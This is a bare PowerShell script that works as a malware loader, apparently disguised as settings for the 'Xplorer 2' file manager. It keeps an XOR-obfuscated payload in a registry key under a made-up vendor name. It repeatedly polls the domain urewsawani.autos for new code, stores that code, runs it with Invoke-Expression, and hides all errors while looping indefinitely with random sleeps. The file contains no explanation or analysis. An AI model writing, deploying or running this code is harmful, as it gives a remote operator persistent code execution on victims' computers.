$gVAR=$null;
$str_enc_Asc=[System.Text.Encoding]::ASCII;

$l_var = "19";

$remPar = "WyI1MjQxODkzNzQ0OTc5NTEzMTU0IiwxNjYyOTk4Nzg4LCJNekUwT1RRR0F3QUlEQW9DQXcwQUNnWU5EQVVBQUFFTlNBUUhCUWdNQlUwRkR3SUJDQTBCQXdBQVNBPT0iXQ==";

function idxToVar([string]$arrSB2) {
	$arrSB=[System.Convert]::FromBase64String($arrSB2);

	$st=$str_enc_Asc.GetBytes('Get-ItemPropertyValue');
	$ed=$arrSB[0..4];

	$i=0;
	$l=$ed.Length;
	$k=@();

	[array]::Resize([ref]$k,$st.length);
	foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]}

	$bs=$arrSB[5..$arrSB.length];

	$i=0;
	$l=$k.Length;
	$dt=@();

	[array]::Resize([ref]$dt,$bs.length);
	foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]}

	return $str_enc_Asc.GetString($dt) | ConvertFrom-Json;
}

try {
	$gVAR=$str_enc_Asc.GetString([System.Convert]::FromBase64String($remPar)) | ConvertFrom-Json;
} catch{}

$a = $str_enc_Asc;
$new_path = "HKCU:\Software\ZabaraKatranemiaPlc\";

$d = "urewsawani.autos";

$u=$gVAR[0];
$v = "0";

$ok=$true
$xpVer = "Xplorer 2";
$is=$gVAR[1];


$di=$gVAR[2];
$dat = $null;

while($ok) {
	try{
		try{
			if (!(Test-Path $new_path)){New-Item -Path $new_path | Out-Null;}
		}
		catch{}

		$cr = $false;
		if ($dat -eq $null) {
			try {
				$r = Get-ItemPropertyValue -Path $new_path -Name $xpVer;
				$dat = idxToVar($r);
				$v = $dat[0];
				$cr = $true;
			}catch{}
		} else {
			$v = $dat[0];
		}

		try {
			$fmt = "https://{0}/x?u={1}&is={2}&lv={3}&rv={4}" -f $d,$u,$is,$l_var,$v
			$dt = wget $fmt -UseBasicParsing;

			$dat2 = idxToVar($dt);
			if ($dat2[0] -gt $v) {
				$v2 = $dat2[0];

				New-ItemProperty -Path $new_path -Name $xpVer -Value $dt -PropertyType "String" -Force | Out-Null;
				$dat = $dat2;
				$cr = $true;
			}
		}catch{}

		if ($cr -eq $true) {
			try{
				stop;
			}catch{}
			try {iex $dat[1];}catch{}
		}
	} catch{}

	try {
		$mxs = ((get-random 80 -minimum 55)*60);
		$cdt = [int](Get-Date -UFormat %s);

		:cnt while($ok) {
			try{temp($d,$u,$is,$di);}catch{}

			Start-Sleep (get-random 75 -minimum 35);
			$ndt = [int](Get-Date -UFormat %s);

			if (($ndt-$cdt) -gt $mxs) {
				break cnt;
			}
		}

	} catch{}
}